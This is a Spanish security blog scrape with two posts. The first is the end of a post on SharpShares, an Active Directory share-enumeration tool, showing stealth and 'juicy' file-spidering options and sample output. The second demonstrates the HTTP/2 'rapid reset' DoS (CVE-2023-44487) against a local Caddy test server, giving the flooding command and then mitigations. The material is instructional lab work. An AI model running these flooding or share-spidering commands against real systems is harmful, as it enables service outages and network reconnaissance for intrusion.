data-sourcepos="5:1-8:0"><li data-sourcepos="5:1-5:113">Puede enumerar todas las unidades compartidas en el dominio actual, incluidas las unidades compartidas ocultas.</li><li data-sourcepos="6:1-6:83">Puede enumerar las unidades compartidas que son accesibles por el usuario actual.</li></ul><p data-sourcepos="9:1-9:157">Además el fork de Hackcraft-Labs tiene opciones adicionales interesantes que la hacen algo más sigilosa como <span class="css-901oao css-16my406 r-poiln3 r-bcqeeo r-qvutc0">sleep/jitter y share spidering.</span></p><pre class="notranslate"><code>> .\SharpShares.exe help
Optional Arguments:
/threads - specify maximum number of parallel threads (default=25)
/dc - specify domain controller to query (if not ran on a domain-joined host)
/domain - specify domain name (if not ran on a domain-joined host)
/ldap - query hosts from the following LDAP filters (default=all)
:all - All enabled computers with 'primary' group 'Domain Computers'
:dc - All enabled Domain Controllers (not read-only DCs)
:exclude-dc - All enabled computers that are not Domain Controllers or read-only DCs
:servers - All enabled servers
:servers-exclude-dc - All enabled servers excluding Domain Controllers or read-only DCs
/ou - specify LDAP OU to query enabled computer objects from
ex: "OU=Special Servers,DC=example,DC=local"
/stealth - list share names without performing read/write access checks
/filter - list of comma-separated shares to exclude from enumeration
default: SYSVOL,NETLOGON,IPC$,PRINT$
/outfile - specify file for shares to be appended to instead of printing to std out
/verbose - return unauthorized shares
/spider - print a list of all files existing within directories (and subdirectories) in identified shares
/juicy - list of comma-separated tokens to match in spidered files/folders to be reported as juicy
/targets - specify a comma-separated list of target hosts
/sleep - specify the time (in seconds) to sleep after each host is enumerated
/jitter - specify a jitter percentage for the sleeping pattern (0-100)</code></pre><p data-sourcepos="11:1-11:45"><b>Execute-assembly</b></p><pre class="notranslate"><code>execute-assembly /path/to/SharpShares.exe /ldap:all /filter:sysvol,netlogon,ipc$,print$</code></pre><p data-sourcepos="11:1-11:45"><b>Ejemplo de salida</b></p><pre class="notranslate"><code>[+] Parsed Aguments:
threads: 25
ldap: all
ou: none
filter: SYSVOL,NETLOGON,IPC$,PRINT$
stealth: False
verbose: False
outfile:
[*] Excluding SYSVOL,NETLOGON,IPC$,PRINT$ shares
[*] Starting share enumeration with thread limit of 25
[r] = Readable Share
[w] = Writeable Share
[-] = Unauthorized Share (requires /verbose flag)
[?] = Unchecked Share (requires /stealth flag)
[+] Performing LDAP query for all enabled computers with "primary" group "Domain Computers"...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 10
[+] Starting share enumeration against 10 hosts
[r] \\DC-01\CertEnroll
[r] \\DC-01\File History Backups
[r] \\DC-01\Folder Redirection
[r] \\DC-01\Shared Folders
[r] \\DC-01\Users
[w] \\WEB-01\wwwroot
[r] \\DESKTOP\ADMIN$
[r] \\DESKTOP\C$
[+] Finished Enumerating Shares </code></pre><p data-sourcepos="11:1-11:45"><b>Especificando objetivos<br /></b></p><p><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Los parámetros /ldap y /ou se pueden usar juntos o por separado para generar una lista de hosts para enumerar.</span></span><span class="jCAhz"><span class="ryNqvb">
</span></span><span class="jCAhz ChMk0b"><span class="ryNqvb">Todos los hosts devueltos por estos parámetros se combinan y se eliminan los duplicados antes de que comience la enumeración.</span></span></span></p><p><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"><b>Proyecto</b> </span></span></span></p><p><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">(folk) <a href="https://github.com/mitchmoser/SharpShares " target="_blank">https://github.com/mitchmoser/SharpShares </a></span></span></span></p><p data-sourcepos="11:1-11:45"></p><p data-sourcepos="11:1-11:45"></p>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-54138790483952223812023-10-21T17:39:00.005+02:002023-10-21T17:41:17.523+02:00Probando la vulnerabilidad "rapid reset" (CVE-2023-44487): una amenaza emergente para los servidores HTTP/2<p>HTTP/2 es un protocolo de transferencia de hipertexto que se utiliza para mejorar el rendimiento de las aplicaciones web. Es un protocolo bidireccional que permite que los clientes y los servidores envíen datos simultáneamente, lo que reduce el tiempo de carga de las páginas web.<br /><br />En agosto de 2023, se descubrió una vulnerabilidad <i>zero-day</i> en HTTP/2 que podía ser explotada para llevar a cabo ataques de denegación de servicio distribuidos (DDoS). Varios ataques afectaron a varios servicios web importantes, como Amazon Web Services, Cloudflare y Google. Esta vulnerabilidad con <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-44487" target="_blank">CVE-2023-44487</a>, conocida como "rapid reset", permite a los atacantes enviar un gran número de solicitudes a un servidor HTTP/2, lo que sobrecarga el servidor y lo hace inaccesible para los usuarios legítimos.<br /><br /><b>Explicación rápida de la vulnerabilidad:</b><br /><br />HTTP/2 utiliza un mecanismo llamado multiplexación de flujos para enviar múltiples solicitudes a través de una única conexión TCP. Esto permite que los clientes envíen y reciban datos de forma más eficiente.<br /><br />La vulnerabilidad "rapid reset" se produce cuando un cliente envía una solicitud HTTP/2 y luego la cancela inmediatamente enviando una trama <b>RST_STREAM</b>. Esta trama indica al servidor que la solicitud debe ser cancelada.<br /><br />Los atacantes pueden explotar esta vulnerabilidad enviando un gran número de solicitudes HTTP/2 y luego cancelándolas inmediatamente. Esto sobrecarga el servidor, ya que tiene que procesar cada solicitud, incluso si se cancela inmediatamente.</p><a name='more'></a><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR7QjjLnYrj-8AnhbIPNLik7r70PkACMf8Wvyf0V-3aH7xEYgOU83p7ow7jMPeyOBaBtuvQL2sNwpHt722gX2vrcjXj5c2TpTd9R1xFR8JRp62IRneAyYsgxTfGylFSC3up0h1owM1Uiu9Ki1W08rJuxiTfZt7zLl9EZE7lK06yiAUQl3e1xU6oJ8UB2gY/s1024/rapid-reset-1024x525.png" style="margin-left: 1em; margin-right: 1em;"><img alt="HTTP/1.1 and HTTP/2 request and response pattern (Google)" border="0" data-original-height="525" data-original-width="1024" height="328" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR7QjjLnYrj-8AnhbIPNLik7r70PkACMf8Wvyf0V-3aH7xEYgOU83p7ow7jMPeyOBaBtuvQL2sNwpHt722gX2vrcjXj5c2TpTd9R1xFR8JRp62IRneAyYsgxTfGylFSC3up0h1owM1Uiu9Ki1W08rJuxiTfZt7zLl9EZE7lK06yiAUQl3e1xU6oJ8UB2gY/w640-h328/rapid-reset-1024x525.png" title="HTTP/1.1 and HTTP/2 request and response pattern (Google)" width="640" /></a></div><p><b>Probando la vulnerabilidad</b><br /><br />Para probarlo vamos a lanzar el ataque contra una versión antigua del sencillo servidor <a href="https://caddyserver.com/" target="_blank">Caddy</a> que sólo va a respondernos por HTTP/2. El fichero de configuración o CaddyFile puede ser como el siguiente:<br /></p><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>cabesha.com {<br /> tls {<br /> protocols tls1.2<br /> }<br /> reverse_proxy {<br /> to 127.0.0.1:8000 # Dirección y puerto de tu aplicación backend<br /> }<br /> tls c:\temp\caddy.crt c:\temp\caddy.key<br /> log<br />}<br /></code></pre>Lo levantamos:<br /><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>c:\caddy2.3.exe run --config CaddyFile<br /></code></pre><p></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcl1q4pSpQc-DdzpGNG9Yx4ff3nzgnAQzcK36wTnRNyr83BgQTDXOMAmmKH5n9373Ceri4DHCxr-s4AD97M_5tZo9QLjVtvmgxBMl9pzGKlYsqUgSisWvkQwjr5oaXOlqcNPcEjs-JCJhW1t_hMPyRnIj9lAkOD7SzSRqRgj6YOiI5DUA_tX8NdrHG8qNW/s1623/rapidreset_caddy_start.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="174" data-original-width="1623" height="68" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcl1q4pSpQc-DdzpGNG9Yx4ff3nzgnAQzcK36wTnRNyr83BgQTDXOMAmmKH5n9373Ceri4DHCxr-s4AD97M_5tZo9QLjVtvmgxBMl9pzGKlYsqUgSisWvkQwjr5oaXOlqcNPcEjs-JCJhW1t_hMPyRnIj9lAkOD7SzSRqRgj6YOiI5DUA_tX8NdrHG8qNW/w640-h68/rapidreset_caddy_start.png" width="640" /></a></div><p>Detrás dejaremos mismamente un servidor sencillo con python:<br /></p><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>python -m http.server<br /></code></pre><p></p><p><br />Ahora probamos con un simple curl:<br /></p><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>$ curl -I --insecure https://cabesha.com<br />HTTP/2 200 <br />content-type: text/html; charset=utf-8<br />date: Thu, 19 Oct 2023 23:11:03 GMT<br />server: Caddy<br />server: SimpleHTTP/0.6 Python/3.11.2<br />content-length: 250643<br /></code></pre>Para la PoC vamos a usar una herramienta escrita en Go (<a href="https://github.com/secengjeff/rapidresetclient/tree/main" target="_blank">https://github.com/secengjeff/rapidresetclient/tree/main</a>), aunque si os dais una vuelta veréis que hay varias (a fecha del post en python y c++).<br /><p></p><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>$ ./rapidresetclient -requests=10000 -url https://cabesha.com:443 -wait=100 -delay=10 -concurrency=5<br /></code></pre><p></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3JIzuVOd66T8CLxC1FyylNrz9nEF-gvFv8YQK3vSGAxgIMgcwUbvIqrIuPdPo6yL3zG6dz7zYcfTm8IQf62uWQ3KyluZRddc1jJO8RxMt2zvPlAVNEMNRyiI6YfXBxAIG53BzHx5qtCiDHrd5CRClyluyD6pdCH_b01i6CH5SVm7oVp0bJeJbZO25NAir/s1244/rapidreset1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="769" data-original-width="1244" height="396" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3JIzuVOd66T8CLxC1FyylNrz9nEF-gvFv8YQK3vSGAxgIMgcwUbvIqrIuPdPo6yL3zG6dz7zYcfTm8IQf62uWQ3KyluZRddc1jJO8RxMt2zvPlAVNEMNRyiI6YfXBxAIG53BzHx5qtCiDHrd5CRClyluyD6pdCH_b01i6CH5SVm7oVp0bJeJbZO25NAir/w640-h396/rapidreset1.png" width="640" /></a></div><p> El servidor Caddy y el backend empezarán a inundarse de peticiones...</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtiVM8DLchBT5rlghtThd92KvTF8SahHMz7dgR0KbTz6dcCRfGsHi7RROtST9zmi77EkVGQLbfbuSkBCrPFT9Q_MScVbn7SYym3dFo3xnAKvPWu1PHQGNt-d8wGPy7lDinvrbHKHR3UR2ZeTAnc51T1hUK241TxSh-zgz1lz7bjY0jP_ST4okwqzShurzE/s1816/rapidreset_caddy.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="411" data-original-width="1816" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtiVM8DLchBT5rlghtThd92KvTF8SahHMz7dgR0KbTz6dcCRfGsHi7RROtST9zmi77EkVGQLbfbuSkBCrPFT9Q_MScVbn7SYym3dFo3xnAKvPWu1PHQGNt-d8wGPy7lDinvrbHKHR3UR2ZeTAnc51T1hUK241TxSh-zgz1lz7bjY0jP_ST4okwqzShurzE/w640-h144/rapidreset_caddy.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJb2_cvsrIxiwxBkShOS-4vJuV3UE35YvJ38aKqRbiNP4sMUrnzclnkzutFtmWfEHt-pAhKysBmu7OOnbQILqCjZeIxWS7xJB4mgR3-_eMbVNYkUte0mm28I9Cv65WktKrV5aZp7pqumRlYywRfxX-TLU2U6qJOTORbftfnsaxY7uIizd5WDdbOsTig-nQ/s980/rapidreset_pythonserver.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="510" data-original-width="980" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJb2_cvsrIxiwxBkShOS-4vJuV3UE35YvJ38aKqRbiNP4sMUrnzclnkzutFtmWfEHt-pAhKysBmu7OOnbQILqCjZeIxWS7xJB4mgR3-_eMbVNYkUte0mm28I9Cv65WktKrV5aZp7pqumRlYywRfxX-TLU2U6qJOTORbftfnsaxY7uIizd5WDdbOsTig-nQ/w640-h334/rapidreset_pythonserver.png" width="640" /></a></div><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNSEz0Or9G5AAtNUhr_YrkURx5vxKPoJVRgTKxg52urkSXiEmzGXGorwep8ufUvM1l8BhpN2xrNVhgjlDRreOA_E4NSf2mFz6JZkeaSdUxLMOelseR3QaCG4Wxrdc9N3dcKbz_JNo831wkD1-9rx9c7TCH5gtmbK-F_eHQmjUyETp78tpajcKTYoYWh4VR/s1908/wireshark_capture_rapidreset2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="885" data-original-width="1908" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNSEz0Or9G5AAtNUhr_YrkURx5vxKPoJVRgTKxg52urkSXiEmzGXGorwep8ufUvM1l8BhpN2xrNVhgjlDRreOA_E4NSf2mFz6JZkeaSdUxLMOelseR3QaCG4Wxrdc9N3dcKbz_JNo831wkD1-9rx9c7TCH5gtmbK-F_eHQmjUyETp78tpajcKTYoYWh4VR/w640-h296/wireshark_capture_rapidreset2.png" width="640" /></a></div><p></p><p>Y como veréis en la imagen de a continuación, el uso de la CPU se incrementa al 100% dejando inaccesible el servidor para realizar cualquier otra petición.</p><p></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDbY4mZRsxWW7wOCWCWfQKo_BrKpQ5tc9HEXtNBnHjgU1UiIxrEj6wCkW9Gd9eTIlkC3dY7t-Ayc2VLQRQFa45Iytn5nvGP5Tyn98RjEhDTW2rhRb61pp9-HHQ5n2SGUUNm4YLmve300Y2mnHtKBaCShSCVdwF_230WIAdO1fLfpxaRveXZ2W9Jy32puG4/s1900/rapidreset_cpu.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="887" data-original-width="1900" height="298" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDbY4mZRsxWW7wOCWCWfQKo_BrKpQ5tc9HEXtNBnHjgU1UiIxrEj6wCkW9Gd9eTIlkC3dY7t-Ayc2VLQRQFa45Iytn5nvGP5Tyn98RjEhDTW2rhRb61pp9-HHQ5n2SGUUNm4YLmve300Y2mnHtKBaCShSCVdwF_230WIAdO1fLfpxaRveXZ2W9Jy32puG4/w640-h298/rapidreset_cpu.png" width="640" /></a></div><br /><b>Mitigación:</b><br /><br />Los administradores de sistemas también pueden tomar medidas para mitigar la vulnerabilidad "rapid reset". Estas medidas incluyen:<br /><p></p><ul style="text-align: left;"><li>Actualizar el software o parchear el producto correspondiente si es el caso</li><li>Implementar un firewall de aplicación web (WAF) para bloquear el tráfico malicioso.</li><li>Ajustar la configuración de los servidores HTTP/2 para limitar el número de flujos simultáneos.</li><li>Monitorizar el tráfico de red para detectar signos de ataques DDoS.</li></ul><p><b>Fuentes:</b></p><ul style="text-align: left;"><li><a href="https://aws.amazon.com/es/security/security-bulletins/AWS-2023-011/">https://aws.amazon.com/es/security/security-bulletins/AWS-2023-011/</a></li><li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-44487 " target="_blank">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-44487 </a></li><li><a href="https://socradar.io/rapid-reset-ddos-attacks-rise-october-2023-patch-tuesday-has-arrived-cve-2023-36563-cve-2023-41763-cve-2023-44487/">https://socradar.io/rapid-reset-ddos-attacks-rise-october-2023-patch-tuesday-has-arrived-cve-2023-36563-cve-2023-41763-cve-2023-44487/</a></li></ul>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0